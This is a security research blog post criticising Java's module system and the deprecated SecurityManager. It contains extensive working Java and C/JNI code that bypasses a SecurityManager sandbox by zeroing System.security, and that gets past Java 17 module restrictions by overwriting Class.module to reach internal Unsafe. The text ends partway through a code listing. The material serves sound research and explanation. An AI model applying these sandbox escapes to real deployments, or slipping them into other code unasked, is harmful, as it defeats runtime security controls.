unspo.nso.red

Java 17: Deprecated on Arrival

05 Apr 2023 - Jeff Dileo

[This post is cross-posted at https://research.nccgroup.com/2023/04/05/java-17-deprecated-on-arrival/.]

(This is an article about structural issues in Java. Trust me.)

As has been the norm for the last 20+ years, I would like to continue tradition and describe security theater in TSA allegory. Several years ago, I was in an airport in the US — I won’t name names, but for reference, it wasn’t my “home” airports of JFK or LGA (or EWR). I was flying back from what I recall was an on-site start of a project. Because of this, I had my work laptop, my personal laptop, and a client laptop in my backpack, in addition to something like 3 Android test devices, my personal Nintendo 3DS, a jailbroken 3DS for research, and all the cables and dongles one could imagine needing for any situation. On my way to the client, my local airport TSA had the sense of mind to have everyone unpack their electronics so that they could be scanned properly; alas, Airport X’s TSA contingent did not. Instead, they had me — against my clear statement that 3 laptops were in my backpack — run the whole 20 pounds of metal, glass, silicon, plastic, and nylon in one shot through the X-ray machine. It was no surprise that they couldn’t make heads or tails of it, and it was pulled aside; after all, this is a story of gross negligence, not run-of-the-mill negligence. They pulled the bag aside, pulled me aside, and then started going through the process of unpacking my backpack while wearing fancy gloves and every so often swabbing things and fiddling with a machine. I say started to, because after the third laptop, and then the second phone, and then me pointing out other sections of the bag that held other electronics, including a hefty power bank, the TSA agent simply gave up and told me to pack my stuff back up and go. I was taken aback, but did as told. I then spent the rest of the hour or two before my flight brooding over what was probably a relatively nice dinner for an airport restaurant, not that I remember it. Honestly, as we all know how useless the TSA is at their purported job, my primary feeling at the time was that I was cheated. If I’m going to be paying taxes for an inept kleptocracy to be menacing and threatening to common decency, I expect them to see the job through without exemption. But the TSA is not what I’m here to tell you about… I’m here to talk about Java.

Java 9 introduced the concept of Java “modules,” or as Oracle calls it “the most important new software engineering technology in Java since its inception.”1 If the so-called “Java Platform Module System” (JPMS) had at least done something useful, like solve the problem of duplicate class names between JARs, then maybe it would be less problematic. Alas, when running in module mode (-m), and only module mode, Java will just have a conniption and raise an exception. I guess that’s better than silently allowing things to continue (as is still the case in the normal -cp/-jar classpath mode). But we didn’t really need modules for that; Java could have just checked for duplicates in the same classloader, and raised an error. Don’t be fooled, Java modules add nothing of value, except maybe to anyone building a JDK themselves. Any claims of improved security are fanciful and made by people who have never actually exploited a Java application before and think that the private keyword is a security boundary.

Java modules’ primary addition to the Java platform is definitely a “strong encapsulation”1 mentality. However, it’s not encapsulation for developers. It’s encapsulation for Java itself from developers. For whatever reason, the current maintainers of Java don’t like having to support a language where developers can reflectively access the implementation details of the platform’s core implementation, which was otherwise one of the main selling points for Java and scalable/enterprise Java development in the first place. This sort of dynamism is what gives Java its power in the market and enables the building of large frameworks, performant runtime code generation, and general performance improvements beyond what Java will give you by default. After all, Java is a terrible language with great tooling support. Or at least, it was. Java modules throw all of that out the window because Oracle doesn’t like it when libraries use sun.misc.Unsafe2 and tries to pretend that it’s well, “unsafe”, or some sort of security hole.

Java Modules Restrictions

So why is this post about Java 17 if all of this started in Java 9, with the first LTS being Java 11? Well, in Java 9 and 11, to ease developers into this unnatural new scheme, Java emitted the following warnings whenever accessing something Oracle didn’t want you to keep having access to, calling such accesses “illegal”:

WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by ... (file:...) to field ...
WARNING: Please consider reporting this to the maintainers of ...
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release

In Java 17, such accesses became hard errors without adding insane CLI arguments like --add-opens=java.base/java.lang=ALL-UNNAMED. So what is it exactly that Oracle doesn’t want you to have access to? 50%+ of the runtime basically. Essentially, anything that is private or protected is now “blocked” by default, as is anything in a separate module that doesn’t explicitly open itself or anything private in one that does. The so-called package-private is a bit more complicated and arguably various accesses work that one would assume shouldn’t under the new regime. It is likely that because this feature was solely to restrict access to anything in internal JDK classes they didn’t want to grant access to, package private was not really considered. Remember, no matter what the documentation or blog posts might say, this isn’t about security.

An Elegy to Security Managers

As of Java 17, security managers are now deprecated and are planned for removal in a future version with no replacement.3 Security managers are classes that, using supporting infrastructure in the JVM, enable the development of custom in-application sandboxes to restrict what an application can do at runtime. While they are pretty neat, they are also fundamentally unsound (remember the Java browser plugin?) and tricky to get right,4 and I imagine they have quite the performance impact. Anyway, I imagine Oracle decided they didn’t want to have to maintain the infrastructure anymore, and didn’t want to try to fix the problems with security managers. So it’s basically dead, but not completely, meaning we can still mess with it.

As someone who has written a Java SecurityManager bypass once or twice to prove a point (originally written for Tim Newsham), there are a couple of things one might want to do to muck around on the inside of the JVM, depending on one’s goals. Let’s start with that very example. The original code is listed below verbatim, but it contains a lot of test code attempting different things.

A Hacky Java 8 Security Manager Bypass Example
import java.nio.file.*;
import java.util.*;
import sun.misc.*;
import java.lang.reflect.*;
import java.nio.ByteBuffer;

import java.io.*;

class Main {

  public static class Foo {
    public final int a;
    public final long b;

    public Foo() {
      a = 0x41414141;
      b = 0x4242424242424242L;
    }
  }

  public static void main(String[] argv) {
    try {
      ByteBuffer bb = ByteBuffer.allocateDirect(8192);
      bb.putInt(0x41414141);
      bb.putInt(0x42424242);
      System.out.println(bb.getClass());
      Field unsafe_field = bb.getClass().getDeclaredField("unsafe");
      System.out.println(unsafe_field);
      unsafe_field.setAccessible(true);
      Object unsafe = unsafe_field.get(null);
      System.out.println(unsafe);
      System.out.println(unsafe.getClass());
      //note: unfortunately, we can't reflect on it due to the access control checks in the jdk
      // otherwise the below would work

      Foo f = new Foo();
      System.out.println(f.a);
      System.out.println(f.b);

      /*
      Method getLong_2 = unsafe.getClass().getMethod("getLong", Object.class, long.class);
      Method getInt_2 = unsafe.getClass().getMethod("getInt", Object.class, long.class);
      Method objectFieldOffset_1 = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
      Method putInt_3 = unsafe.getClass().getMethod("putInt", Object.class, long.class, int.class);
      Method putLong_3 = unsafe.getClass().getMethod("putLong", Object.class, long.class, long.class);

      long off_a = (Long)objectFieldOffset_1.invoke(unsafe, f.getClass().getField("a"));
      long off_b = (Long)objectFieldOffset_1.invoke(unsafe, f.getClass().getField("b"));
      System.out.println(getInt_2.invoke(unsafe, f, off_a));
      System.out.println(getLong_2.invoke(unsafe, f, off_a+4));
      putInt_3.invoke(unsafe, f, off_a, 3333);
      putLong_3.invoke(unsafe, f, off_a+4, 4444);

      System.out.println(f.a);
      System.out.println(f.b);
      */
      System.out.println("==========");

      Class Bits = Class.forName("java.nio.Bits");
      Method _getByte = Bits.getDeclaredMethod("_get", long.class);
      _getByte.setAccessible(true);
      Method _putByte = Bits.getDeclaredMethod("_put", long.class, byte.class);
      _putByte.setAccessible(true);

      Method address_0 = bb.getClass().getMethod("address"); //off-heap address
      address_0.setAccessible(true);

      System.out.println(Long.toHexString((Long)address_0.invoke(bb)));
      for (int i = 0; i < 8; i++) {
        System.out.println(_getByte.invoke(null, (Long)address_0.invoke(bb)+i));
      }

      System.out.println("==========");

      ObjectStreamField osf = new ObjectStreamField("s", long.class);
      ObjectStreamField osfarr[] = new ObjectStreamField[]{osf};

      Class FieldReflector = Class.forName("java.io.ObjectStreamClass$FieldReflector");
      Constructor FieldReflector_cons = FieldReflector.getDeclaredConstructors()[0];
      FieldReflector_cons.setAccessible(true);
      Object fr = FieldReflector_cons.newInstance(new Object[]{osfarr});
      System.out.println(fr);

      Field writeKeys_field = fr.getClass().getDeclaredField("writeKeys");
      writeKeys_field.setAccessible(true);
      writeKeys_field.set(fr, new long[]{116});

      Method setPrimFieldValues = fr.getClass().getDeclaredMethod("setPrimFieldValues", Object.class, byte[].class);
      setPrimFieldValues.setAccessible(true);


      System.out.println(System.err);
      System.out.println(System.getSecurityManager());

      byte zeros[] = new byte[8];
      setPrimFieldValues.invoke(fr, System.class, zeros);

      System.out.println(System.err);
      System.out.println(System.getSecurityManager());
      System.out.println(unsafe.getClass().getMethod("addressSize")); //bypassed
    } catch (Throwable t) {
      t.printStackTrace();
    }
  }

}

Let’s walk through what is going on here. First, it’s worth noting that the java.policy Tim sent me was the following:

grant {
  permission java.lang.reflect.ReflectPermission "suppressAccessChecks";
  permission java.lang.RuntimePermission "accessDeclaredMembers";
};

This is exactly the sort of common thing you’ll find needed to be allowed in anything doing a fair amount of reflecting to “get things done.” If this isn’t possible, well, you lose a big part of the value of using Java in the first place.

The application used a custom security manager that sought to restrict the kinds of things that could be done (e.g. create processes, write files, etc.). So the entire exercise revolved around interesting ways to set the java.lang.System::security field to null. For example, this could be done either by getting a handle on sun.misc.Unsafe or through other things that would use it or similar primitives deep within the bowels of the JDK.

To start, when even the default security manager is enabled, Class.forName("sun.misc.Unsafe") will fail. Let’s get around that:

ByteBuffer bb = ByteBuffer.allocateDirect(8192);
...      
Field unsafe_field = bb.getClass().getDeclaredField("unsafe");
unsafe_field.setAccessible(true);
Object unsafe = unsafe_field.get(null);

The above is just a fun way to get a sun.misc.Unsafe without getting it the normal way. It no longer works in Java 9+ for a few reasons. The private reflection being one, and the fact that Java 11 stopped directly using an unsafe field within java.nio.Direct*Buffer. You could try to fetch it from java.nio.BitsUNSAFE field, but you’d run into the fact that it’s a private field in a package private class and would need --add-opens=java.base/java.nio=ALL-UNNAMED.

But even with a handle on an instance of sun.misc.Unsafe, the security manager will prevent us from doing much of anything with it. For example, unsafe.getClass().getMethod("getByte", Object.class, long.class) would fail. So we must find other ways to access its methods, such as through methods wrapping it:

Class Bits = Class.forName("java.nio.Bits");
Method _getByte = Bits.getDeclaredMethod("_get", long.class);
_getByte.setAccessible(true);
Method _putByte = Bits.getDeclaredMethod("_put", long.class, byte.class);
_putByte.setAccessible(true);

Method address_0 = bb.getClass().getMethod("address");
address_0.setAccessible(true);

System.out.println(Long.toHexString((Long)address_0.invoke(bb)));
for (int i = 0; i < 8; i++) {
  System.out.println(_getByte.invoke(null, (Long)address_0.invoke(bb)+i));
}

The above snippet demonstrates using the internal java.nio.Bits::_get(long) method as a wrapper for sun.misc.Unsafe::getByte(long). While not used in the above snippet, java.nio.Bits::_put(long,byte) could be used as a wrapper for the sun.misc.Unsafe::putByte(long,byte):

for (int i = 0; i < 8; i++) {
  System.out.println(_getByte.invoke(null, (Long)address_0.invoke(bb)+i));
  _putByte.invoke(null, (Long)address_0.invoke(bb)+i, (byte)0x43);
}

However, these will no longer work in Java 11+ as these methods have been removed from java.nio.Bits. So let’s look for something else that’s convoluted.

ObjectStreamField osf = new ObjectStreamField("s", long.class);
ObjectStreamField osfarr[] = new ObjectStreamField[]{osf};

Class FieldReflector = Class.forName("java.io.ObjectStreamClass$FieldReflector");
Constructor FieldReflector_cons = FieldReflector.getDeclaredConstructors()[0];
FieldReflector_cons.setAccessible(true);
Object fr = FieldReflector_cons.newInstance(new Object[]{osfarr});

Field writeKeys_field = fr.getClass().getDeclaredField("writeKeys");
writeKeys_field.setAccessible(true);
writeKeys_field.set(fr, new long[]{116}); // java 8

Method setPrimFieldValues = fr.getClass().getDeclaredMethod("setPrimFieldValues", Object.class, byte[].class);
setPrimFieldValues.setAccessible(true);

byte zeros[] = new byte[8];
setPrimFieldValues.invoke(fr, System.class, zeros);

In the above snippet, we construct an instance of the nested java.io.ObjectStreamClass$FieldReflector class, initialize it just enough, and set its writeKeys (described as “unsafe fields keys for writing fields - no dupes”) value to the target field offset, and invoke its setPrimFieldValues method (described as “Sets the serializable primitive fields of object obj using values unmarshalled from byte array buf starting at offset 0. The caller is responsible for ensuring that obj is of the proper type”) against the java.lang.System class. This results in that offset being clobbered with zeros. In the above example, we use a byte array of 8 zeros and clobber the field following security, as the first typeCodes array value is of size 8. A cleaner way would be to set the typeCodes array to new char[]{'I'} and use a zeros array of size 4:

Field typeCodes_field = fr.getClass().getDeclaredField("typeCodes");
typeCodes_field.setAccessible(true);
typeCodes_field.set(fr, new char[]{'I'});
...
byte zeros[] = new byte[4];
setPrimFieldValues.invoke(fr, System.class, zeros);

Java, for whatever foolish reason, tries to prevent code from getting a reflection handle on the java.lang.System::security. So a simple way to get its offset is to get the offset of the field before it (err) and add four:

Class<?> unsafe_class = Class.forName("sun.misc.Unsafe");
Field theUnsafe = unsafe_class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Object unsafe = theUnsafe.get(null);
Method staticFieldOffset = unsafe_class.getMethod("staticFieldOffset", Field.class);
Field err = System.class.getDeclaredField("err");
System.out.println("staticFieldOffset of java.lang.System::err: " + staticFieldOffset.invoke(unsafe, err));

In OpenJDK 8, it was 116 (112 + 4), and in OpenJDK 11 and 17, it is 124 (120 + 4), though to run the setPrimFieldValues mechanism on OpenJDK 17, you’ll need --add-opens=java.base/java.io=ALL-UNNAMED.

Example Code
import java.util.*;
import sun.misc.*;
import java.lang.reflect.*;
import java.nio.ByteBuffer;
import java.io.*;

class Retro {

  // ~/opt/jdk8u312-b07/Contents/Home/bin/javac Retro.java
  // ~/opt/jdk8u312-b07/Contents/Home/bin/java -Djava.security.manager -Djava.security.policy=./java.policy Retro
  public static void main(String[] argv) {
    SecurityManager _sm = System.getSecurityManager();
    System.out.println("System.getSecurityManager(): " + _sm);
    if (_sm == null) {
      System.out.println("no security manager set. dumping stats:");
      try {
        Class<?> unsafe_class = Class.forName("sun.misc.Unsafe");
        Field theUnsafe = unsafe_class.getDeclaredField("theUnsafe");
        theUnsafe.setAccessible(true);
        Object unsafe = theUnsafe.get(null);
        Method staticFieldOffset = unsafe_class.getMethod("staticFieldOffset", Field.class);
        Field err = System.class.getDeclaredField("err");
        System.out.println("staticFieldOffset of java.lang.System::err: " + staticFieldOffset.invoke(unsafe, err));
      } catch (Throwable t) {
        t.printStackTrace();
      }
      return;
    }

    System.out.print("trying to Class.forName(\"sun.misc.Unsafe\"): ");
    try {
      Object unsafe_class = Class.forName("sun.misc.Unsafe");
      System.out.println("success (shouldn't happen): " + unsafe_class);
    } catch (Throwable t) {
      System.out.println("failed (normal)");
    }

    ByteBuffer bb = ByteBuffer.allocateDirect(8192);
    bb.putInt(0x41414141);
    bb.putInt(0x42424242);
    System.out.print("bb: ");
    for (int i=0; i < bb.position(); i++) {
      System.out.print(bb.get(i));
      System.out.print(" ");
    }
    System.out.println("");
    System.out.println(bb);
    System.out.println(bb.getClass());
    System.out.println(bb.getClass().getSuperclass());
    System.out.println(Arrays.toString(bb.getClass().getInterfaces()));
    System.out.println(Arrays.toString(bb.getClass().getDeclaredFields()));

    try {
      Field unsafe_field = null;
      try {
        unsafe_field = bb.getClass().getDeclaredField("unsafe");
      } catch (Throwable t) {
        t.printStackTrace();
        try {
          unsafe_field = Class.forName("java.nio.Bits").getDeclaredField("UNSAFE"); // 11+
        } catch (Throwable tt) {
          tt.printStackTrace();
        }
      }
      if (unsafe_field != null) {
        try {
          System.out.println(unsafe_field);
          unsafe_field.setAccessible(true);
          Object unsafe = unsafe_field.get(null);
          System.out.println(unsafe);
          System.out.println(unsafe.getClass());

          System.out.print("trying to unsafe.getClass().getMethod(\"getByte\", Object.class, byte.class): ");
          try {
            Method getByteObjOff = unsafe.getClass().getMethod("getByte", Object.class, long.class);
            System.out.println("success (shouldn't happen): " + getByteObjOff);
          } catch (Throwable t) {
            System.out.println("failed (normal)");
          }
        } catch (Throwable t) {
          t.printStackTrace();
        }
      }

      System.out.println("==========");

      try {
        Class Bits = Class.forName("java.nio.Bits");
        Method _getByte = Bits.getDeclaredMethod("_get", long.class);
        _getByte.setAccessible(true);
        Method _putByte = Bits.getDeclaredMethod("_put", long.class, byte.class);
        _putByte.setAccessible(true);

        Method address_0 = bb.getClass().getMethod("address"); //off-heap address
        address_0.setAccessible(true);

        System.out.println(Long.toHexString((Long)address_0.invoke(bb)));
        for (int i = 0; i < 8; i++) {
          System.out.println(_getByte.invoke(null, (Long)address_0.invoke(bb)+i));
          _putByte.invoke(null, (Long)address_0.invoke(bb)+i, (byte)0x43);
        }
        System.out.print("bb: ");
        for (int i=0; i < bb.position(); i++) {
          System.out.print(bb.get(i));
          System.out.print(" ");
        }
        System.out.println("");
      } catch (Throwable t) {
        t.printStackTrace();
      }

      System.out.println("==========");

      try {
        ObjectStreamField osf = new ObjectStreamField("s", long.class);
        ObjectStreamField osfarr[] = new ObjectStreamField[]{osf};

        Class FieldReflector = Class.forName("java.io.ObjectStreamClass$FieldReflector");
        Constructor FieldReflector_cons = FieldReflector.getDeclaredConstructors()[0];
        FieldReflector_cons.setAccessible(true);
        Object fr = FieldReflector_cons.newInstance(new Object[]{osfarr});
        System.out.println(fr);

        Field typeCodes_field = fr.getClass().getDeclaredField("typeCodes");
        typeCodes_field.setAccessible(true);
        typeCodes_field.set(fr, new char[]{'I'});

        Field writeKeys_field = fr.getClass().getDeclaredField("writeKeys");
        writeKeys_field.setAccessible(true);
        writeKeys_field.set(fr, new long[]{Integer.parseInt(argv[0])}); // 8: 116, 11: 124, 17: 124

        Method setPrimFieldValues = fr.getClass().getDeclaredMethod("setPrimFieldValues", Object.class, byte[].class);
        setPrimFieldValues.setAccessible(true);

        System.out.println("System.getSecurityManager(): " + System.getSecurityManager());

        byte zeros[] = new byte[4];
        setPrimFieldValues.invoke(fr, System.class, zeros);

        System.out.println("System.getSecurityManager(): " + System.getSecurityManager());

        System.out.print("trying to Class.forName(\"sun.misc.Unsafe\"): ");
        try {
          Class<?> unsafe_class = Class.forName("sun.misc.Unsafe");
          System.out.println("success (shouldn't happen): " + unsafe_class);

          System.out.print("trying to unsafe_class.getDeclaredField(\"theUnsafe\"): ");
          Field theUnsafe = unsafe_class.getDeclaredField("theUnsafe");
          System.out.println("success (shouldn't happen): " + theUnsafe);

          System.out.print("trying to theUnsafe.setAccessible(true): ");
          theUnsafe.setAccessible(true);
          System.out.println("success (shouldn't happen)");

          System.out.print("trying to theUnsafe.get(null): ");
          Object unsafe = theUnsafe.get(null);
          System.out.println("success (shouldn't happen): " + unsafe);

          System.out.print("trying to unsafe_class.getMethod(\"getByte\", Object.class, byte.class): ");
          Method getByteObjOff = unsafe_class.getMethod("getByte", Object.class, long.class);
          System.out.println("success (shouldn't happen): " + getByteObjOff);
        } catch (Throwable t) {
          System.out.println("failed (normal)");
          t.printStackTrace();
        }
      } catch (Throwable t) {
        t.printStackTrace();
      }
    } catch (Throwable t) {
      t.printStackTrace();
    }
  }
}

Java Modules Restrictions Bypasses

So enough about security managers for now, let’s come up with some fun ways to bypass the module checks. While there are probably a bunch of interesting ways to disable the internal machinery of the module checks, the simplest by far is simply to be a member of the same module, which short circuits pretty much everything. To pass this check, the module field of the accessing class and the accessed class need to be the same. So how do we modify this private field in a world where you can’t access private fields? You clobber the memory.

Unsafe

If you can get a handle on a sun.misc.Unsafe object, that is sufficient to overcome the module restrictions. Alternatively, if you can get a handle on a jdk.internal.misc.Unsafe, even better, but the reduced sun.misc.Unsafe is more than enough for now. So, how do you go about getting one? Well, it depends on how you run your code.

If you run your code using -cp or -jar, you can directly resolve sun.misc.Unsafe and your code will generally function. This is how the majority of the world runs their Java apps, and it’s probably not going to change given how broken the module system is.

If you run your code using the new module system with -p and -m, then you’re likely already using module-info.java files (if you aren’t, you should stop using the module system and look at what your build system is doing unbeknownst to you). Anyway, you will need to add requires jdk.unsupported; if it isn’t there already, and it probably is if you want your code to run performantly. Alternatively, if there are any --add-opens options passed in (they will need to specify an exact module for them to apply to module-loaded JARs, e.g. --add-opens=java.base/java.io=trust.nccgroup.foo), you can likely get what you need with similar code to the above java.io.ObjectStreamClass$FieldReflector mechanism.

Note: Because java.net.URLClassLoader doesn’t support modules, any JARs loaded by it will be in unnamed modules. While --add-opens options of ALL-UNNAMED will not apply to JARs loaded as modules, they will apply to anything loaded with a URLClassLoader (and similarly any other non-module-aware classloading mechanism). Due to this, while the lack of a top-level requires jdk.unsupported; would prevent such unnamed module JARs from directly loading or using sun.misc.Unsafe, any ALL-UNNAMED --add-opens will likely enable a sun.misc.Unsafe object to be indirectly used to gain full access to sun.misc.Unsafe or even jdk.internal.misc.Unsafe.

try {
  ObjectStreamField osf = new ObjectStreamField("s", long.class);
  ObjectStreamField osfarr[] = new ObjectStreamField[]{osf};

  Class FieldReflector = Class.forName("java.io.ObjectStreamClass$FieldReflector");
  Constructor FieldReflector_cons = FieldReflector.getDeclaredConstructors()[0];
  FieldReflector_cons.setAccessible(true);
  Object fr = FieldReflector_cons.newInstance(new Object[]{osfarr});

  Field typeCodes_field = fr.getClass().getDeclaredField("typeCodes");
  typeCodes_field.setAccessible(true);
  typeCodes_field.set(fr, new char[]{'I'});

  Method getPrimFieldValues = fr.getClass().getDeclaredMethod("getPrimFieldValues", Object.class, byte[].class);
  getPrimFieldValues.setAccessible(true);

  Field readKeys_field = fr.getClass().getDeclaredField("readKeys");
  readKeys_field.setAccessible(true);

  readKeys_field.set(fr, new long[]{48});
  byte javabase_javaio_module[] = new byte[4];
  getPrimFieldValues.invoke(fr, ObjectStreamClass.class, javabase_javaio_module);

  Field writeKeys_field = fr.getClass().getDeclaredField("writeKeys");
  writeKeys_field.setAccessible(true);

  writeKeys_field.set(fr, new long[]{48});
  Method setPrimFieldValues = fr.getClass().getDeclaredMethod("setPrimFieldValues", Object.class, byte[].class);
  setPrimFieldValues.setAccessible(true);
  setPrimFieldValues.invoke(fr, Main.class, javabase_javaio_module);

  try {
    Class<?> unsafeClass = Class.forName("jdk.internal.misc.Unsafe");
    Method m = unsafeClass.getDeclaredMethod("getUnsafe");
    Object unsafe = m.invoke(null);
    // the above line would normally fail with:
    //   java.lang.IllegalAccessException: class ....Main (in module ...) cannot access class jdk.internal.misc.Unsafe (in module java.base)
    //   because module java.base does not export jdk.internal.misc to module ...
    // but it doesn't
    System.out.println(unsafe); // jdk.internal.misc.Unsafe@448139f0
  } catch (Throwable t) {
    t.printStackTrace();
  }
} catch (Throwable t) {
  t.printStackTrace();
}

Note: An interesting facet of the new internal handling of sun.misc.Unsafe is that, as a veneer for jdk.internal.misc.Unsafe, it is only loaded/available in the classloader when either not running in module mode, or when requires jdk.unsupported; is configured for the module. Due to this, the above code gets an instance of jdk.internal.misc.Unsafe, which is arguably better to have anyway (it has some nicer versions of sun.misc.Unsafe that are easier to use safely). It is also worth noting that we got the offset of module (48 in Java 17) using sun.misc.Unsafe::objectFieldOffset in -jar mode, which operates similarly to staticFieldOffset. While we didn’t need it here, the offset of java.lang.Class::classLoader is 52 (48 + 4), which needs to be calculated as the field following module since it is filtered from reflection.

“JNI”

The Java Native Interface is Java’s main foreign function interface (FFI). It provides an API for Java to call into native code and for native code to interact with the Java runtime. JNI code can be incredibly powerful in that if it decides to muck around in memory, there is not much the JVM can do to prevent that. One such oddity of JNI-loaded shared objects is that they can seemingly access the Java Virtual Machine Tool Interface (JVMTI), the native Java agent API that enables lower access to the JVM than simply bytecode instrumentation — for example, jdb is really just a JVMTI agent library and debugger client. While this isn’t strictly necessary to do what we want to do, it gives us a proper API for iterating through object instances and class internals. These enable us to sidestep the module-based filtering being done to get a lower-level handle on an Unsafe and use it to migrate a wrapper class into java.base so that it can be used by normal code to proxy calls into the Unsafe object.

JNI Example (C)
// clang -std=c11 -I "$(/usr/libexec/java_home)/include" -I "$(/usr/libexec/java_home)/include/darwin" -shared -o test.dylib test.c
// gcc -std=c11 -fPIC -I /opt/java/openjdk/include -I /opt/java/openjdk/include/linux -shared -o test.so test.c
#include <stdio.h>
#include <string.h>

#include <jni.h>
#include <jvmti.h>

__attribute__((constructor))
void myctor() {
}

jvmtiEnv* jvmti = NULL;

jint JNI_OnLoad(JavaVM *vm, void *reserved) {
  jvmti = NULL;
  (*vm)->GetEnv(vm, (void **)&jvmti, JVMTI_VERSION_1_0);

  return JNI_VERSION_1_8;
}

JNIEXPORT jobject JNICALL Java_trust_nccgroup_UnsafeWrapper_nativeInit(JNIEnv *env, jobject _this) {
  jclass unsafe = NULL;

  jint class_count;
  jclass* classes;
  jvmtiError err = (*jvmti)->GetLoadedClasses(jvmti, &class_count, &classes);

  jclass class_class = (*env)->FindClass(env, "java/lang/Class");
  jmethodID class_getName = (*env)->GetMethodID(env, class_class, "getName", "()Ljava/lang/String;");
  jmethodID class_getModule = (*env)->GetMethodID(env, class_class, "getModule", "()Ljava/lang/Module;");
  jobject class_module = (*env)->CallObjectMethod(env, class_class, class_getModule);

  jclass unsafewrapper_class = (*env)->GetObjectClass(env, _this);
  jobject unsafewrapper_module = (*env)->CallObjectMethod(env, unsafewrapper_class, class_getModule);

  jclass klass = NULL;
  int jdk_internal = 0;

  for (size_t i=0; i<class_count; i++) {
    jclass klass = classes[i];
    jstring name = (*env)->CallObjectMethod(env, klass, class_getName);
    const char *name_cstr = (*env)->GetStringUTFChars(env, name, 0);
    if (strstr(name_cstr, ".misc.Unsafe") != NULL) {
      if (strcmp("sun.misc.Unsafe", name_cstr) == 0) {
        unsafe = klass;
        break;
      } else if (strcmp("jdk.internal.misc.Unsafe", name_cstr) == 0) {
        unsafe = klass;
        jdk_internal = 1;
        break;
      }
    }
  }

  jobject theUnsafe = NULL;
  if (unsafe != NULL) {
    jint field_count;
    jfieldID* fields;
    jvmtiError err = (*jvmti)->GetClassFields(jvmti, unsafe, &field_count, &fields);
    jint accessFlags;
    for (size_t i=0; i<field_count; i++) {
      char* name_ptr;
      (*jvmti)->GetFieldName(jvmti, unsafe, fields[i], &name_ptr, NULL, NULL);
      if (strcmp(name_ptr, jdk_internal ? "theUnsafe" : "theInternalUnsafe") == 0) {
        theUnsafe = (*env)->GetStaticObjectField(env, unsafe, fields[i]);
      }
      (*jvmti)->Deallocate(jvmti, (void*)name_ptr);
      if (theUnsafe != NULL) {
        break;
      }
    }
    (*jvmti)->Deallocate(jvmti, (void*)fields);

    if (theUnsafe != NULL) {
      jint method_count;
      jmethodID* methods;
      jvmtiError err = (*jvmti)->GetClassMethods(jvmti, unsafe, &field_count, &methods);
      jmethodID objectFieldOffset = NULL;
      jmethodID getLong = NULL;
      jmethodID putLong = NULL;

      int count = 0;
      for (size_t i=0; i<method_count; i++) {
        char* name_ptr;
        char* sig_ptr;
        (*jvmti)->GetMethodName(jvmti, methods[i], &name_ptr, &sig_ptr, NULL);
        if (strcmp("objectFieldOffset", name_ptr) == 0 && strcmp("(Ljava/lang/reflect/Field;)J", sig_ptr) == 0) {
          objectFieldOffset = methods[i];
          count++;
        } else if (strcmp("getLong", name_ptr) == 0 && strcmp("(Ljava/lang/Object;J)J", sig_ptr) == 0) {
          getLong = methods[i];
          count++;
        } else if (strcmp("putLong", name_ptr) == 0 && strcmp("(Ljava/lang/Object;JJ)V", sig_ptr) == 0) {
          putLong = methods[i];
          count++;
        }
        (*jvmti)->Deallocate(jvmti, (void*)name_ptr);
        (*jvmti)->Deallocate(jvmti, (void*)sig_ptr);
        if (count == 3) {
          break;
        }
      }
      if (count == 3) {
        jfieldID class_module_fieldID = (*env)->GetFieldID(env, class_class, "module", "Ljava/lang/Module;");
        jobject class_module_field = (*env)->ToReflectedField(env, class_class, class_module_fieldID, 0);
        jlong moduleFieldOffset = (*env)->CallLongMethod(env, theUnsafe, objectFieldOffset, class_module_field);

        jlong javabase_module = (*env)->CallLongMethod(env, theUnsafe, getLong, class_class, moduleFieldOffset);
        (*env)->CallVoidMethod(env, theUnsafe, putLong, unsafewrapper_class, moduleFieldOffset, javabase_module);
      } else {
        puts("??????????");
      }

      (*jvmti)->Deallocate(jvmti, (void*)methods);
    }

  }

  (*env)->DeleteLocalRef(env, class_class);
  (*jvmti)->Deallocate(jvmti, (void*)classes);

  return theUnsafe;
}
JNI Example (Java)
package trust.nccgroup;

import java.lang.reflect.*;
import java.io.File;
import java.net.URL;
import java.net.URLClassLoader;
import java.lang.module.*;
import java.nio.file.Path;
import java.util.*;
import java.util.stream.*;

public class UnsafeWrapper {
  private static String type = null;
  private static Object theUnsafe = null;
  private native Object nativeInit();

  private static Map<String,Map<String,Method>> methods = new HashMap<>();

  private UnsafeWrapper() { }

  public static String type() {
    return type;
  }

  private static final Map<Class<?>,Class<?>> boxmap = Stream.of(new Class<?>[][] {
    { Void.TYPE, Void.class },
    { Long.TYPE, Long.class },
    { Integer.TYPE, Integer.class },
    { Short.TYPE, Short.class },
    { Byte.TYPE, Byte.class },
    { Float.TYPE, Float.class },
    { Double.TYPE, Double.class },
    { Boolean.TYPE, Boolean.class },
    { Character.TYPE, Character.class },
  }).collect(Collectors.toMap(data -> data[0], data -> data[1]));

  public static Object invoke(String method_name, Class<?>[] types, Object... args) {
    Map<String,Method> mm = methods.get(method_name);
    if (mm == null) {
      System.err.println("method name not found: " + method_name);
      return null;
    }
    String sig_str = Arrays.toString(types);
    Method m = mm.get(sig_str);
    if (m == null) {
      System.err.println("method sig not found: " + method_name + "(" + sig_str + ")");
      return null;
    }
    try {
      return m.invoke(theUnsafe, args);
    } catch (Throwable t) {
      t.printStackTrace();
      return null;
    }
  }

  public static boolean init(String libunsafe_path) {
    try {
      System.load(libunsafe_path);
      UnsafeWrapper u = new UnsafeWrapper();
      theUnsafe = u.nativeInit();

      System.out.println(theUnsafe);
      Class<?> c = theUnsafe.getClass();
      type = c.toString();
      System.out.println(c);

      for (Method m : c.getDeclaredMethods()) {
        Map<String,Method> mm = methods.get(m.getName());
        if (mm == null) {
          mm = new HashMap<>();
          methods.put(m.getName(), mm);
        }
        Class<?>[] param_types = m.getParameterTypes();
        String sig_str = Arrays.toString(param_types);
        mm.put(sig_str, m);
      }
      return true;
    } catch (Throwable t) {
      t.printStackTrace();
      return false;
    }
  }
}
public static long patchClassModule(Class<?> clobber, Class<?> with) {
  try {
    Class<?> class_class = Class.class;
    Field class_field_module = class_class.getDeclaredField("module");

    long moduleFieldOffset = (long)(Long)UnsafeWrapper.invoke("objectFieldOffset", new Class<?>[]{Field.class}, class_field_module);
    System.out.println("Class.module offset: " + moduleFieldOffset);

    long original_module = (long)(Long)UnsafeWrapper.invoke("getLong", new Class<?>[]{Object.class, long.class}, clobber, moduleFieldOffset);
